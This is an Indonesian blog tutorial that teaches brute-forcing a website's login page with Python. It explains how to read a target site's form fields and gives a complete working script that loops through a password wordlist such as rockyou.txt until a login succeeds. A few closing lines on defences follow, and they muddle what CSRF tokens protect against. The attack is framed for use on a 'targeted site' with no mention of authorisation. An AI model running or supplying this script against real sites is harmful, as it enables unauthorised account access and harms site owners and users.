Melakukan Brute-Force Pada Halaman Login Dengan Python

DailyBlog.id - Brute Force merupakan teknik untuk melakukan peretasan dengan cara menebak sebuah username atau password atau lainnya yang secara tidak sah, agar bisa mendapatkan akses masuk ke dalam sebuah sistem.

Teknik ini bisa dilakukan secara manual ataupun secara software, namun tidak mungkin untuk dilakukan secara manual. Karena biasanya teknik ini melakukan spam untuk mencoba masuk dengan cara menebak-nebak, maka dari itu teknik ini biasanya menggunakan software yang sudah tersedia username dan password (random) agar lebih praktis.

Pada tutorial kali ini saya akan memberikan lengkap bagaimana caranya agar bisa melakukan bruteforce pada sebuah halaman login dengan menggunakan python. 

Melakukan Brute-Force Pada Halaman Login Dengan Python

1. Langkah pertama yang pasti kalian harus menyiapkan halaman login dari situs yang mau ditargetkan

2. Jika sudah, kalian bisa inspect halaman tersebut dengan menekan key pada keyboard yaitu CTRL + Shift + I , maka akan seperti ini. (Disini saya akan mencontohkan secara local)


Inspect Element - Melakukan Brute-Force Pada Halaman Login Dengan Python

Dari situ bisa dilihat, terdapat beberapa atribut yang bisa diambil valuenya dan nantinya akan dijadikan parameter ke bruteforcenya:

  • action="/andsp/api/login.php" -> /andsp/api/login.php
  • name="username" -> username
  • name="password" -> password
  • name="submit" value="Log In" -> submit dengan value "Log In"

Jika sudah mengumpulkan beberapa informasi dari hasil inspect elemennya, maka saatnya kita buat script bruteforcenya dengan python.

3. Install modul requests


pip install requests


Setelah itu import modulnya


import requests


4. Buat variable" yang akan digunakan menampung parameter yang akan digunakan nantinya.


url = "http://localhost/andsp/api/login.php"

Setelah itu variable username yang akan digunakan.


username = input("Mau menggunakan username apa? = ")


Dan untuk variable password ini, nanti digunakan lokasi file password.txt, yang akan digunakan untuk menebak passwordnya


password = input("Password yang akan digunakan (password.txt)? = ")
file = open(password, "r")

Setelah itu baru looping/scan satu per satu password yang ada di dalam file password.txtnya, dan kirim parameter berupa pos ke url target.


for password in file.readlines():
    password = password.strip("\n")
    data = {'username': username, 'password': password, 'submit': 'Log In'}
    kirim_data = requests.post(url, data)

    if "Username atau Katasandi salah!" in str(kirim_data.content):
        print("[+] Coba sandi: %s" % password)
    else:
        print("[+] Yee! Sandi ketemu: %s " % password)


Dan untuk script lengkapnya akan seperti ini:


import requests

url = "http://localhost/andsp/api/login.php"
username = input("Mau menggunakan username apa? = ")
password = input("Password yang akan digunakan (password.txt)? = ")
file = open(password, "r")

for password in file.readlines():
    password = password.strip("\n")
    data = {'username': username, 'password': password, 'submit': 'Log In'}
    kirim_data = requests.post(url, data)

    if "Username atau Katasandi salah!" in str(kirim_data.content):
        print("[+] Coba sandi: %s" % password)
    else:
        print("[+] Yee! Sandi ketemu: %s " % password)


Ini dia hasil dari percobaan bruteforce menggunakan python


Hasil - Melakukan Brute-Force Pada Halaman Login Dengan Python

Nah sangat mudah kan caranya? dan tentunya berhasil mendapatkan kata sandi secara akurat. Kalian bisa mendownload password.txt (kumpulan kata sandi yang udah digenerate) melalui link -> rockyou.txt

Lalu gimana caranya agar tidak bisa dibruteforce?

Cara yang mudah agar tidak bisa dibruteforce yaitu kalian bisa memasang yang namanya CSRF Token ataupun captcha juga bisa. Dari situ bruteforce tidak bisa menangkap atau mengambil request token yang sudah digenerate secara ulang terus menerus. Atau juga bisa menolak request an selain dari URL asli dan menambah beberapa parameter rahasia.

Namun dijaman sekarang pasti orang sudah pada pintar", bisa jadi juga di bypass nantinya... ya ujung"nya bisa lolos juga. Intinya kita harus pandai" mengamankan request'an dari luar atau dalam. Entah bagaimana algoritmanya yang kita buat, agar sistem tetap aman.


Mungkin itu saja tutorial dari saya, semoga tutorial yang saya berikan ini dapat bermanfaat bagi kalian semua. Jika saya ada salah kata atau kurang berkenan, saya mohon maaf. Sekian dan terima kasih...

Selamat mencoba!

Post a Comment (0)
Previous Post Next Post